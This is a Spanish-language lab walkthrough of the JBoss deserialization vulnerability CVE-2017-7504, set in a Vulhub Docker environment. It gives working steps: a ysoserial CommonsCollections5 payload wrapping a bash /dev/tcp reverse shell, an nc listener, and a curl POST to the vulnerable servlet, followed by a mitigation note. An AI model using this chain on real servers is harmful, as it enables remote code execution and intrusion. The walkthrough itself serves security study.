Análisis de la vulnerabilidad CVE-2017-7504 en JBoss
Esta vulnerabilidad reside en el componente HttpInvoker de JBoss Application Server, específicamente en el filtro ReadOnlyAccessFilter. El método doFilter de este filtro intenta deserializar el flujo de datos entrante del cliente sin realizar ninguna validación de seguridad o tipado. Esta falta de controlse permite a un atacante suministrar un flujo de datos Java serializado malicioso, que al ser deserializado, ejecuta código arbitrario en el servidor.
Sistemas afectados
Las versiones vulnerables incluyen JBoss AS 5.x y JBoss AS 6.x. Los puertos por defecto comúnmente expuestos son 1098, 1099, 4444, 4445, 8080, 8009, 8083 y 8093.
Entorno de pruebas
Para rpelicar la vulnerabilidad, se puede utilizar un entorno Docker basado en la colección de vulnerabilidades Vulhub.
# Navegar al directorio de la vulnerabilidad
cd entorno-vulnerable/jboss/cve-2017-7504
# Levantar el contenedor vulnerable
docker-compose up -d
El servicio quedará accesible en http://<ip-del-servidor>:8080.
Pasos para la verificación
1. Confirmar la existencia del punto de entrada vulnerable.
Acceder al endpoint expuesto usando una herramienta como curl o el navegador.
curl http://192.168.1.100:8080/jbossmq-httpil/HTTPServerILServlet
2. Preparar el payload.
Se requiere generar un payload serializado que ejecute un comando en el sistema. Primero, se codifica el comando deseado, por ejemplo, una reverse shell, en Base64.
# Comando original para una shell inversa
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
# Codificado en Base64
echo -n 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' | base64
3. Crear el payload serializado.
Se utiliza la herramienta ysoserial para generar un archivo binario (por ejemplo, exploit.bin) que encapsule el comando codificado dentro de un gadget chain de CommonsCollections.
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,<cadena_base64>}|{base64,-d}|{bash,-i}" > exploit.bin
4. Establecer un listener.
En la máquina de control (ej. 10.10.10.10), iniciar un listener en el puerto especificado en el payload.
nc -lvnp 4444
5. Enviar el payload.
Transmitir el archivo binario al servidor vulnerable mediante una petición POST.
curl http://192.168.1.100:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @exploit.bin
Si la explotación es exitosa, la sesión del listener netcat recibirá una shell interactiva del sistema comprometido.
Mecanismo de la vulnerabilidad
El problema fundamental es el patrón inseguro de deserialización de Java (Java Deserialization). La aplicación confía ciegamente en los datos serializados proporcionados por el cliente, los cuales pueden contener código que se ejecuta durante el proceso de deserialización. La mitigación principal consiste en no deserializar datos de fuentes no confiables o implementar estrictos filtros de blanqueo (whitelist) de clases permitidas.